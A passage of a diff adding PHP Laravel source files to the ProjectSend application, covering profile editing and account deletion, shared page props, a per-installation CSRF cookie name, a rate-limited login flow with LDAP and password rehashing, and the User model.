'mustVerifyEmail' => $user instanceof MustVerifyEmail,
|
||||
'status' => $request->session()->get('status'),
|
||||
// Resolved, so the picker shows the zone dates are actually
|
||||
// being rendered in — which for most people is the one their
|
||||
// browser was detected as, not something they ever chose.
|
||||
'timezone' => $this->timezones->resolve($user),
|
||||
'timezones' => $this->timezones->options(),
|
||||
'custom_fields' => $user->isClient() ? $this->customFields->rows(ClientFieldContext::AccountEdit, $user) : [],
|
||||
'custom_field_values' => $user->isClient() ? $this->customFields->values(ClientFieldContext::AccountEdit, $user) : [],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* The account-deletion screen.
|
||||
*
|
||||
* Its own page rather than a block under the profile form: this is
|
||||
* the one irreversible action a person can take on themselves, and it
|
||||
* should be somewhere you navigate to on purpose instead of somewhere
|
||||
* you scroll past on the way to saving your email address. The delete
|
||||
* itself still goes to destroy() below.
|
||||
*/
|
||||
public function deleteAccount(): Response
|
||||
{
|
||||
return Inertia::render('settings/delete-account', [
|
||||
'erasureGraceDays' => (int) app(Settings::class)->get(Setting::AccountErasureGraceDays),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Update the user's profile settings.
|
||||
*/
|
||||
public function update(ProfileUpdateRequest $request): RedirectResponse
|
||||
{
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
$validated = $request->validated();
|
||||
$customFieldValues = $validated['custom_field_values'] ?? [];
|
||||
unset($validated['custom_field_values']);
|
||||
|
||||
$user->fill($validated);
|
||||
|
||||
if ($user->isDirty('email')) {
|
||||
$user->email_verified_at = null;
|
||||
}
|
||||
|
||||
$user->save();
|
||||
|
||||
if ($user->isClient()) {
|
||||
$this->customFields->save($user, ClientFieldContext::AccountEdit, $customFieldValues);
|
||||
}
|
||||
|
||||
app(ActivityLogger::class)->log(Action::ProfileUpdated, $user);
|
||||
|
||||
return to_route('profile.edit');
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete the user's account.
|
||||
*/
|
||||
public function destroy(Request $request): RedirectResponse
|
||||
{
|
||||
$request->validate([
|
||||
'password' => ['required', 'current_password'],
|
||||
]);
|
||||
|
||||
$user = $request->user();
|
||||
assert($user !== null);
|
||||
|
||||
Auth::logout();
|
||||
|
||||
// Self-deletion: soft delete now, permanent GDPR erasure after
|
||||
// the disclosed grace period (Setting::AccountErasureGraceDays).
|
||||
$graceDays = (int) app(Settings::class)->get(Setting::AccountErasureGraceDays);
|
||||
$user->forceFill(['erase_after' => now()->addDays($graceDays)])->save();
|
||||
$user->delete();
|
||||
|
||||
app(ActivityLogger::class)->log(Action::UserDeleted, $user, context: ['name' => $user->name]);
|
||||
|
||||
$request->session()->invalidate();
|
||||
$request->session()->regenerateToken();
|
||||
|
||||
return redirect('/');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,241 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Comments\Access\VisibleCommentScope;
|
||||
use App\Modules\Groups\Models\MembershipRequest;
|
||||
use App\Modules\Identity\Passwords\PasswordPolicy;
|
||||
use App\Modules\Identity\Permissions\Permission;
|
||||
use App\Modules\Identity\Permissions\PermissionChecker;
|
||||
use App\Modules\Identity\Social\SocialSettings;
|
||||
use App\Modules\Identity\UserType;
|
||||
use App\Modules\Notifications\InAppNotification;
|
||||
use App\Modules\Platform\Attribution\Attribution;
|
||||
use App\Modules\Platform\Capabilities\CapabilityRegistry;
|
||||
use App\Modules\Platform\Captcha\Captcha;
|
||||
use App\Modules\Platform\Installation\Installation;
|
||||
use App\Modules\Platform\Localization\LocaleRegistry;
|
||||
use App\Modules\Platform\Localization\TimezoneRegistry;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use App\Modules\Platform\Updates\LatestReleaseInfo;
|
||||
use Illuminate\Foundation\Inspiring;
|
||||
use Illuminate\Http\Request;
|
||||
use Inertia\Middleware;
|
||||
|
||||
class HandleInertiaRequests extends Middleware
|
||||
{
|
||||
/**
|
||||
* The root template that's loaded on the first page visit.
|
||||
*
|
||||
* @see https://inertiajs.com/server-side-setup#root-template
|
||||
*
|
||||
* @var string
|
||||
*/
|
||||
protected $rootView = 'app';
|
||||
|
||||
/**
|
||||
* Determines the current asset version.
|
||||
*
|
||||
* @see https://inertiajs.com/asset-versioning
|
||||
*/
|
||||
public function version(Request $request): ?string
|
||||
{
|
||||
return parent::version($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Define the props that are shared by default.
|
||||
*
|
||||
* @see https://inertiajs.com/shared-data
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function share(Request $request): array
|
||||
{
|
||||
[$message, $author] = str(Inspiring::quotes()->random())->explode('-');
|
||||
|
||||
$capabilities = app(CapabilityRegistry::class);
|
||||
|
||||
return array_merge(parent::share($request), [
|
||||
...parent::share($request),
|
||||
'name' => app(Settings::class)->get(Setting::SiteName),
|
||||
'quote' => ['message' => trim((string) $message), 'author' => trim((string) $author)],
|
||||
'auth' => [
|
||||
'user' => $request->user(),
|
||||
'permissions' => ($user = $request->user()) !== null
|
||||
? app(PermissionChecker::class)->grantedKeys($user)
|
||||
: [],
|
||||
],
|
||||
'edition' => $capabilities->edition()->value,
|
||||
'noindex' => app(Settings::class)->get(Setting::DiscourageSearchIndexing),
|
||||
'version' => config('projectsend.version'),
|
||||
'links' => config('projectsend.links'),
|
||||
// Whether the client- and visitor-facing surfaces name
|
||||
// ProjectSend. True everywhere unless a package answers
|
||||
// otherwise — see ResolvingAttribution. Staff surfaces
|
||||
// ignore this and always show it.
|
||||
'attribution' => app(Attribution::class)->visible(),
|
||||
'capabilities' => $capabilities->enabledKeys(),
|
||||
// Shared rather than passed by each page: the sign-in buttons,
|
||||
// the registration form and the Connected accounts nav entry
|
||||
// all need the same list, and a nav entry to a screen with
|
||||
// nothing on it is worse than no entry.
|
||||
'social_login' => SocialSettings::available(),
|
||||
// Shared for the same reason: seven unrelated surfaces — three
|
||||
// auth pages and the file page of each public theme — need the
|
||||
// identical provider and site key. Null when nothing is
|
||||
// configured, and never the secret.
|
||||
'captcha' => app(Captcha::class)->forDisplay(),
|
||||
// Shared for the same reason again: eight forms across the auth
|
||||
// pages, the account settings and the staff/client editors all
|
||||
// ask somebody to choose a password, and each has to be able to
|
||||
// say what this installation will accept *before* the submit
|
||||
// rather than only in the error afterwards.
|
||||
'password_policy' => app(PasswordPolicy::class)->descriptor(),
|
||||
'pending' => $this->pendingCounts($request),
|
||||
'update_notice' => $this->updateNotice($request),
|
||||
'locale' => app()->getLocale(),
|
||||
// The clock this viewer reads dates by, and whether it is a
|
||||
// choice or a fallback. The frontend needs both: the first to
|
||||
// format with, the second because a viewer still on the
|
||||
// fallback is one whose browser we have not asked yet — see
|
||||
// timezone-detector.tsx.
|
||||
'timezone' => app(TimezoneRegistry::class)->resolve($request->user()),
|
||||
'timezone_is_explicit' => $request->user()?->timezone !== null,
|
||||
'locales' => app(LocaleRegistry::class)->enabled(),
|
||||
'locales_disabled' => $this->disabledLocaleCount($request),
|
||||
'translations' => $this->translations(app()->getLocale()),
|
||||
'flash' => [
|
||||
'success' => $request->session()->get('success'),
|
||||
'error' => $request->session()->get('error'),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Pending-approval counts for sidebar badges, computed only for
|
||||
* viewers holding the matching approval permission.
|
||||
*
|
||||
* @return array<string, int>
|
||||
*/
|
||||
protected function pendingCounts(Request $request): array
|
||||
{
|
||||
$user = $request->user();
|
||||
|
||||
if ($user === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$checker = app(PermissionChecker::class);
|
||||
$counts = [];
|
||||
|
||||
if ($checker->allows($user, Permission::ApproveAccountRequests)) {
|
||||
$counts['account_requests'] = User::query()
|
||||
->where('type', UserType::Client)
|
||||
->where('account_requested', true)
|
||||
->count();
|
||||
}
|
||||
|
||||
if ($checker->allows($user, Permission::ApproveGroupsMembershipsRequests)) {
|
||||
$counts['membership_requests'] = MembershipRequest::query()
|
||||
->pending()
|
||||
->whereHas('user')
|
||||
->whereHas('group')
|
||||
->count();
|
||||
}
|
||||
|
||||
if ($checker->allows($user, Permission::ModerateComments)) {
|
||||
// Library-scoped, like the screen it badges: a client-scoped
|
||||
// staff member is not shown a number they cannot act on. The
|
||||
// permission check inside pendingTotal is therefore redundant
|
||||
// here and deliberately kept — the scope owns that rule, and
|
||||
// this middleware should not be a second place it lives.
|
||||
$counts['comments'] = app(VisibleCommentScope::class)->pendingTotal($user);
|
||||
}
|
||||
|
||||
// Unlike the counts above, every authenticated user (staff or
|
||||
// client) has their own personal notifications — no permission
|
||||
// gate here.
|
||||
$counts['notifications_unread'] = InAppNotification::query()
|
||||
->where('user_id', $user->id)
|
||||
->whereNull('read_at')
|
||||
->count();
|
||||
|
||||
return $counts;
|
||||
}
|
||||
|
||||
/**
|
||||
* How many installed translation catalogues are currently switched off,
|
||||
* for the "N more languages available" line the switcher shows above its
|
||||
* link to the Languages screen.
|
||||
*
|
||||
* Zero for everyone who cannot act on it — clients, anonymous visitors on
|
||||
* the public pages and the login screen, and staff without edit_settings.
|
||||
* A dead-end link is worse than none, and how an installation is
|
||||
* configured is nobody else's business.
|
||||
*/
|
||||
protected function disabledLocaleCount(Request $request): int
|
||||
{
|
||||
$user = $request->user();
|
||||
|
||||
if ($user === null || ! $user->isStaff() || ! app(PermissionChecker::class)->allows($user, Permission::EditSettings)) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
$locales = app(LocaleRegistry::class);
|
||||
|
||||
return count($locales->installed()) - count($locales->enabled());
|
||||
}
|
||||
|
||||
/**
|
||||
* The topbar's persistent "update available" icon — unlike the
|
||||
* dashboard System card (informational, gated only on
|
||||
* view_system_info), this is the actionable surface, so it's
|
||||
* restricted to staff who actually hold manage_updates.
|
||||
*
|
||||
* Carries install_kind so the dialog can print instructions this
|
||||
* particular server can actually follow — see Installation. Attached
|
||||
* here rather than shared globally: it describes the deployment, which
|
||||
* is nobody's business but the staff who maintain it.
|
||||
*
|
||||
* @return array{version: string, title: string, notes: string, url: string, published_at: string, install_kind: string}|null
|
||||
*/
|
||||
protected function updateNotice(Request $request): ?array
|
||||
{
|
||||
$user = $request->user();
|
||||
|
||||
if ($user === null || ! app(PermissionChecker::class)->allows($user, Permission::ManageUpdates)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$release = app(LatestReleaseInfo::class)->current();
|
||||
|
||||
return $release === null
|
||||
? null
|
||||
: [...$release, 'install_kind' => app(Installation::class)->kind()->value];
|
||||
}
|
||||
|
||||
/**
|
||||
* App strings use English text as the translation key, so "en" ships no
|
||||
* messages — the key itself is the fallback.
|
||||
*
|
||||
* @return array<string, string>
|
||||
*/
|
||||
protected function translations(string $locale): array
|
||||
{
|
||||
if ($locale === 'en') {
|
||||
return [];
|
||||
}
|
||||
|
||||
$path = lang_path("{$locale}.json");
|
||||
|
||||
if (! is_file($path)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
/** @var array<string, string> */
|
||||
return json_decode((string) file_get_contents($path), true, flags: JSON_THROW_ON_ERROR);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use Illuminate\Foundation\Http\Middleware\ValidateCsrfToken as Middleware;
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\HttpFoundation\Cookie;
|
||||
|
||||
/**
|
||||
* The CSRF cookie, named after this installation instead of after Laravel.
|
||||
*
|
||||
* The framework hardcodes `XSRF-TOKEN`. Cookies are scoped by host and
|
||||
* ignore the port, so every Laravel application on one hostname writes
|
||||
* that same cookie — each holding its own session's token, encrypted with
|
||||
* its own key. Whichever answered a request most recently owns it.
|
||||
*
|
||||
* The failure that produces is genuinely confusing to diagnose: the
|
||||
* session is untouched and valid, so reads keep working, and only writes
|
||||
* fail — with a 419, which reads as "your session expired" when the
|
||||
* session is perfectly alive. Reloading appears to fix it, until the
|
||||
* neighbour answers another request. Any page that polls (this one polls
|
||||
* for unread notifications every thirty seconds) makes that window small
|
||||
* enough that writes fail almost every time.
|
||||
*
|
||||
* The session cookie is already named per installation, so this is that
|
||||
* decision finished rather than a new one: see `session.xsrf_cookie`.
|
||||
*
|
||||
* Only the cookie's *name* changes. The request header stays
|
||||
* `X-XSRF-TOKEN`, which is what the framework reads and what axios sends,
|
||||
* and header names do not collide between applications the way cookies do.
|
||||
*/
|
||||
class ValidateCsrfToken extends Middleware
|
||||
{
|
||||
/**
|
||||
* @param Request $request
|
||||
* @param array<string, mixed> $config
|
||||
*/
|
||||
protected function newCookie($request, $config): Cookie
|
||||
{
|
||||
return new Cookie(
|
||||
self::cookieName(),
|
||||
$request->session()->token(),
|
||||
$this->availableAt(60 * $config['lifetime']),
|
||||
$config['path'],
|
||||
$config['domain'],
|
||||
$config['secure'],
|
||||
false,
|
||||
false,
|
||||
$config['same_site'] ?? null,
|
||||
$config['partitioned'] ?? false
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Shared with the Blade layout, which tells the frontend which cookie
|
||||
* to read — there is nothing on the client that could derive this.
|
||||
*/
|
||||
public static function cookieName(): string
|
||||
{
|
||||
$name = config('session.xsrf_cookie');
|
||||
|
||||
return is_string($name) && $name !== '' ? $name : 'XSRF-TOKEN';
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Requests\Auth;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Identity\Ldap\LdapAuthenticator;
|
||||
use App\Modules\Identity\Ldap\LdapProvisioner;
|
||||
use App\Modules\Identity\SignIn;
|
||||
use App\Modules\Platform\Captcha\CaptchaForm;
|
||||
use App\Support\Rules;
|
||||
use Illuminate\Auth\Events\Lockout;
|
||||
use Illuminate\Auth\SessionGuard;
|
||||
use Illuminate\Contracts\Validation\ValidationRule;
|
||||
use Illuminate\Foundation\Http\FormRequest;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
use Illuminate\Support\Facades\RateLimiter;
|
||||
use Illuminate\Support\Str;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
|
||||
class LoginRequest extends FormRequest
|
||||
{
|
||||
/**
|
||||
* Determine if the user is authorized to make this request.
|
||||
*/
|
||||
public function authorize(): bool
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the validation rules that apply to the request.
|
||||
*
|
||||
* @return array<string, ValidationRule|array<mixed>|string>
|
||||
*/
|
||||
public function rules(): array
|
||||
{
|
||||
return [
|
||||
'email' => ['required', 'string', 'email'],
|
||||
'password' => ['required', 'string'],
|
||||
// Deliberately here rather than inside authenticate(): rules
|
||||
// run first, so a bot never reaches the credential check, and
|
||||
// an honest visitor whose token expired never burns one of
|
||||
// their five attempts.
|
||||
...Rules::captcha(CaptchaForm::Login),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Attempt to authenticate the request's credentials.
|
||||
*
|
||||
* Returns true when the credentials are valid but the account has
|
||||
* two-factor authentication enabled: no session is created and the
|
||||
* pending user id is stored for the challenge step.
|
||||
*
|
||||
* Three phases, deliberately in this order:
|
||||
*
|
||||
* 1. Identify and verify — is this password correct, from any source
|
||||
* this installation accepts?
|
||||
* 2. Account state — is this account allowed to sign in at all?
|
||||
* 3. Two-factor, then the session.
|
||||
*
|
||||
* Splitting 1 from 2 is what lets a directory be consulted without
|
||||
* restating anything. The property that account state is only revealed
|
||||
* to somebody holding the right password now falls out of the ordering,
|
||||
* rather than being re-established by a second Auth::validate() inside
|
||||
* each branch — and rate limiting covers every credential source,
|
||||
* because every failure funnels through one refusal.
|
||||
*
|
||||
* @throws ValidationException
|
||||
*/
|
||||
public function authenticate(): bool
|
||||
{
|
||||
$this->ensureIsNotRateLimited();
|
||||
|
||||
$user = User::query()->where('email', $this->string('email'))->first();
|
||||
|
||||
// A directory identity with no local account yet. Returns null
|
||||
// unless LDAP is on, auto-provisioning is on, and the bind
|
||||
// succeeds — so an unknown email costs nothing on an installation
|
||||
// that does not use a directory.
|
||||
if ($user === null) {
|
||||
$user = app(LdapProvisioner::class)->provision(
|
||||
(string) $this->string('email'),
|
||||
(string) $this->string('password'),
|
||||
);
|
||||
}
|
||||
|
||||
$verified = $this->verifyCredentials($user);
|
||||
|
||||
if ($verified === null) {
|
||||
$this->failWithInvalidCredentials();
|
||||
}
|
||||
|
||||
$signIn = app(SignIn::class);
|
||||
|
||||
$refusal = $signIn->refusalReason($verified);
|
||||
|
||||
if ($refusal !== null) {
|
||||
// Reached only with correct credentials, so this reveals the
|
||||
// account state to its owner and to nobody else.
|
||||
throw ValidationException::withMessages(['email' => $refusal]);
|
||||
}
|
||||
|
||||
// Phases 2 and 3 are shared with every other way into this
|
||||
// application — see SignIn. Rate limiting stays here, because it
|
||||
// is a property of this form (keyed on email and IP) rather than
|
||||
// of signing in.
|
||||
$pendingTwoFactor = $signIn->begin($verified, $this->boolean('remember'));
|
||||
|
||||
RateLimiter::clear($this->throttleKey());
|
||||
|
||||
return $pendingTwoFactor;
|
||||
}
|
||||
|
||||
/**
|
||||
* The account whose password checks out, or null.
|
||||
*
|
||||
* The local hash is tried first and the directory only on failure, so
|
||||
* a login that succeeds locally never generates directory traffic.
|
||||
* The exception is an account whose credentials are known to live in
|
||||
* the directory, where the local hash is a placeholder nobody holds.
|
||||
*/
|
||||
private function verifyCredentials(?User $user): ?User
|
||||
{
|
||||
if ($user === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$ldap = app(LdapAuthenticator::class);
|
||||
|
||||
if (! $ldap->isDirectoryAccount($user)
|
||||
&& Auth::validate($this->only('email', 'password'))) {
|
||||
$this->upgradeHashIfStale($user);
|
||||
|
||||
return $user;
|
||||
}
|
||||
|
||||
$identity = $ldap->attempt(
|
||||
(string) $this->string('email'),
|
||||
(string) $this->string('password'),
|
||||
$user,
|
||||
);
|
||||
|
||||
if ($identity === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$ldap->stamp($user, $identity);
|
||||
|
||||
return $user;
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-hash a password stored under weaker settings than this
|
||||
* installation now uses.
|
||||
*
|
||||
* Laravel does this for you inside SessionGuard::attempt(), but this
|
||||
* form does not use attempt() — it verifies with Auth::validate() and
|
||||
* hands the account to SignIn, which calls Auth::login(). Neither
|
||||
* re-hashes, so without this an account keeps whatever cost it was
|
||||
* created under forever, and raising BCRYPT_ROUNDS would quietly
|
||||
* apply to new accounts only.
|
||||
*
|
||||
* That is not hypothetical: every account the v1 migration carries
|
||||
* across arrives as `$2y$08$…`, because v1 hashed at cost 8, and
|
||||
* would otherwise stay four times cheaper to attack than an account
|
||||
* created here.
|
||||
*
|
||||
* **Only ever called on the local branch.** On the directory branch
|
||||
* the submitted plaintext is the *LDAP* password and the local hash
|
||||
* is a `Str::password(64)` placeholder nobody holds; writing the
|
||||
* directory credential into it would mint a second way into the
|
||||
* account that keeps working after LDAP is switched off.
|
||||
*/
|
||||
private function upgradeHashIfStale(User $user): void
|
||||
{
|
||||
$guard = Auth::guard('web');
|
||||
|
||||
// getProvider() is on SessionGuard rather than on the StatefulGuard
|
||||
// contract. This guard is a SessionGuard in every configuration this
|
||||
// application ships; the check is here so a custom driver degrades
|
||||
// to "no re-hash" instead of a fatal on the login path.
|
||||
if (! $guard instanceof SessionGuard) {
|
||||
return;
|
||||
}
|
||||
|
||||
// No-ops unless the hasher says the stored digest needs it, so
|
||||
// this costs an already-current account nothing.
|
||||
$guard->getProvider()->rehashPasswordIfRequired($user, $this->only('password'));
|
||||
}
|
||||
|
||||
/**
|
||||
* @throws ValidationException
|
||||
*/
|
||||
protected function failWithInvalidCredentials(): never
|
||||
{
|
||||
RateLimiter::hit($this->throttleKey());
|
||||
|
||||
throw ValidationException::withMessages([
|
||||
'email' => __('auth.failed'),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensure the login request is not rate limited.
|
||||
*
|
||||
* @throws ValidationException
|
||||
*/
|
||||
public function ensureIsNotRateLimited(): void
|
||||
{
|
||||
if (! RateLimiter::tooManyAttempts($this->throttleKey(), 5)) {
|
||||
return;
|
||||
}
|
||||
|
||||
event(new Lockout($this));
|
||||
|
||||
$seconds = RateLimiter::availableIn($this->throttleKey());
|
||||
|
||||
throw ValidationException::withMessages([
|
||||
'email' => __('auth.throttle', [
|
||||
'seconds' => $seconds,
|
||||
'minutes' => ceil($seconds / 60),
|
||||
]),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the rate limiting throttle key for the request.
|
||||
*/
|
||||
public function throttleKey(): string
|
||||
{
|
||||
return Str::transliterate(Str::lower($this->string('email')).'|'.$this->ip());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Requests\Settings;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Clients\ClientFieldContext;
|
||||
use App\Modules\Clients\ClientPortalCustomFields;
|
||||
use App\Support\Rules;
|
||||
use Illuminate\Contracts\Validation\ValidationRule;
|
||||
use Illuminate\Foundation\Http\FormRequest;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
class ProfileUpdateRequest extends FormRequest
|
||||
{
|
||||
/**
|
||||
* Get the validation rules that apply to the request.
|
||||
*
|
||||
* @return array<string, ValidationRule|array<mixed>|string>
|
||||
*/
|
||||
public function rules(): array
|
||||
{
|
||||
$rules = [
|
||||
'name' => ['required', 'string', 'max:255'],
|
||||
|
||||
'email' => [
|
||||
'required',
|
||||
'string',
|
||||
'lowercase',
|
||||
'email',
|
||||
'max:255',
|
||||
Rule::unique(User::class)->ignore($this->user()?->id),
|
||||
],
|
||||
|
||||
// Saved with the rest of the profile so the screen keeps one
|
||||
// Save button. `timezone` is fillable, so ProfileController's
|
||||
// fill() picks it up with no special handling.
|
||||
//
|
||||
// `sometimes`, not `required`: the form always sends it, but a
|
||||
// caller that doesn't should leave the stored zone alone
|
||||
// rather than be rejected — and there is no "no timezone" to
|
||||
// clear it to.
|
||||
'timezone' => ['sometimes', ...Rules::timezone()],
|
||||
];
|
||||
|
||||
$user = $this->user();
|
||||
if ($user?->isClient() === true) {
|
||||
$rules = [
|
||||
...$rules,
|
||||
...app(ClientPortalCustomFields::class)->rules(ClientFieldContext::AccountEdit, $user),
|
||||
];
|
||||
}
|
||||
|
||||
return $rules;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
// use Illuminate\Contracts\Auth\MustVerifyEmail;
|
||||
use App\Modules\Groups\Models\Group;
|
||||
use App\Modules\Identity\AuthSource;
|
||||
use App\Modules\Identity\Models\Role;
|
||||
use App\Modules\Identity\Notifications\ResetPasswordNotification;
|
||||
use App\Modules\Identity\UserType;
|
||||
use Database\Factories\UserFactory;
|
||||
use Illuminate\Contracts\Translation\HasLocalePreference;
|
||||
use Illuminate\Database\Eloquent\Factories\HasFactory;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsToMany;
|
||||
use Illuminate\Database\Eloquent\SoftDeletes;
|
||||
use Illuminate\Foundation\Auth\User as Authenticatable;
|
||||
use Illuminate\Notifications\Notifiable;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Laravel\Sanctum\HasApiTokens;
|
||||
|
||||
/**
|
||||
* @property UserType $type
|
||||
* @property AuthSource $auth_source
|
||||
* @property string|null $ldap_dn
|
||||
* @property Carbon|null $ldap_synced_at
|
||||
* @property int|null $role_id
|
||||
* @property bool $active
|
||||
* @property bool $account_requested
|
||||
* @property string|null $locale
|
||||
* @property string|null $timezone
|
||||
* @property int|null $dashboard_columns
|
||||
* @property int $storage_quota_mb
|
||||
* @property Carbon|null $erase_after
|
||||
* @property-read Role|null $role
|
||||
*/
|
||||
class User extends Authenticatable implements HasLocalePreference
|
||||
{
|
||||
/** @use HasFactory<UserFactory> */
|
||||
use HasApiTokens, HasFactory, Notifiable, SoftDeletes;
|
||||
|
||||
/**
|
||||
* The attributes that are mass assignable.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $fillable = [
|
||||
'type',
|
||||
'role_id',
|
||||
'active',
|
||||
'account_requested',
|
||||
'name',
|
||||
'email',
|
||||
'password',
|
||||
'locale',
|
||||
'timezone',
|
||||
'dashboard_columns',
|
||||
'storage_quota_mb',
|
||||
];
|
||||
|
||||
/**
|
||||
* @return BelongsTo<Role, $this>
|
||||
*/
|
||||
public function role(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Role::class);
|
||||
}
|
||||
|
||||
/**
|
||||
* Groups this account belongs to (clients only in practice).
|
||||
*
|
||||
* @return BelongsToMany<Group, $this>
|
||||
*/
|
||||
public function memberOfGroups(): BelongsToMany
|
||||
{
|
||||
return $this->belongsToMany(Group::class, 'group_members')->withTimestamps();
|
||||
}
|
||||
|
||||
/**
|
||||
* The clients a client-scoped staff member manages. Their library
|
||||
* scope (what they see and may share) derives from this list.
|
||||
*
|
||||
* @return BelongsToMany<User, $this>
|
||||
*/
|
||||
public function assignedClients(): BelongsToMany
|
||||
{
|
||||
return $this->belongsToMany(User::class, 'staff_client_assignments', 'staff_id', 'client_id')->withTimestamps();
|
||||
}
|
||||
|
||||
/**
|
||||
* A staff member whose role restricts them to their assigned clients'
|
||||
* library content (plus their own uploads).
|
||||
*/
|
||||
public function isClientScoped(): bool
|
||||
{
|
||||
return $this->isStaff() && $this->role?->client_scoped === true;
|
||||
}
|
||||
|
||||
public function hasTwoFactorEnabled(): bool
|
||||
{
|
||||
return $this->two_factor_confirmed_at !== null;
|
||||
}
|
||||
|
||||
public function isStaff(): bool
|
||||
{
|
||||
return $this->type === UserType::Staff;
|
||||
}
|
||||
|
||||
public function isClient(): bool
|
||||
{
|
||||
return $this->type === UserType::Client;
|
||||
}
|
||||
|
||||
public function preferredLocale(): ?string
|
||||
{
|
||||
return $this->locale;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $token
|
||||
*/
|
||||
public function sendPasswordResetNotification($token)
|
||||
{
|
||||
$this->notify(new ResetPasswordNotification($token));
|
||||
}
|
||||
|
||||
/**
|
||||
* The attributes that should be hidden for serialization.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
protected $hidden = [
|
||||
'password',
|
||||
'remember_token',
|
||||
'two_factor_secret',
|
||||
'two_factor_recovery_codes',
|
||||
];
|
||||
|
||||
/**
|
||||
* Get the attributes that should be cast.
|
||||
*
|
||||
* @return array<string, string>
|
||||
*/
|
||||
/**
|
||||
* The column default only applies on INSERT, so it never reaches an
|
||||
* instance the database did not just hand back — and code that asks
|
||||
* "does this account have a password of its own?" would then read
|
||||
* null and answer wrongly. This makes `local` the answer everywhere.
|
||||
*
|
||||
* @var array<string, mixed>
|
||||
*/
|
||||
protected $attributes = [
|
||||
'auth_source' => 'local',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'type' => UserType::class,
|
||||
// Deliberately absent from $fillable: where an account's
|
||||
// credentials live is a security decision, not an attribute a
|
||||
// form or an API payload may set. Written with forceFill by
|
||||
// the code that provisions the account.
|
||||
'auth_source' => AuthSource::class,
|
||||
'ldap_synced_at' => 'datetime',
|
||||
'active' => 'boolean',
|
||||
'account_requested' => 'boolean',
|
||||
'erase_after' => 'datetime',
|
||||
'email_verified_at' => 'datetime',
|
||||
'password' => 'hashed',
|
||||
'two_factor_secret' => 'encrypted',
|
||||
'two_factor_recovery_codes' => 'encrypted:array',
|
||||
'two_factor_confirmed_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api;
|
||||
|
||||
use Illuminate\Routing\Route;
|
||||
use Illuminate\Support\Facades\Route as Router;
|
||||
|
||||
/**
|
||||
* Which module endpoints this install actually exposes, for GET /api/v1/me.
|
||||
*
|
||||
* Derived from the registered routes rather than remembered from the
|
||||
* RegisteringApiModules dispatch, because that dispatch does not happen on
|
||||
* a route-cached install: `route:cache` loads routes from the cache file
|
||||
* and never executes routes/api.php. Route *names* survive caching, so
|
||||
* reading them back is the one source that is correct in both cases.
|
||||
*/
|
||||
class ApiModuleRegistry
|
||||
{
|
||||
/** @var list<string>|null */
|
||||
private ?array $slugs = null;
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function slugs(): array
|
||||
{
|
||||
if ($this->slugs !== null) {
|
||||
return $this->slugs;
|
||||
}
|
||||
|
||||
$slugs = [];
|
||||
|
||||
foreach (Router::getRoutes()->getRoutes() as $route) {
|
||||
/** @var Route $route */
|
||||
$name = $route->getName();
|
||||
|
||||
if ($name === null || ! str_starts_with($name, 'api.modules.')) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$slug = explode('.', substr($name, strlen('api.modules.')))[0];
|
||||
|
||||
if ($slug !== '') {
|
||||
$slugs[$slug] = true;
|
||||
}
|
||||
}
|
||||
|
||||
return $this->slugs = array_keys($slugs);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,182 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api;
|
||||
|
||||
use App\Modules\Platform\Capabilities\Edition;
|
||||
use Dedoc\Scramble\Scramble;
|
||||
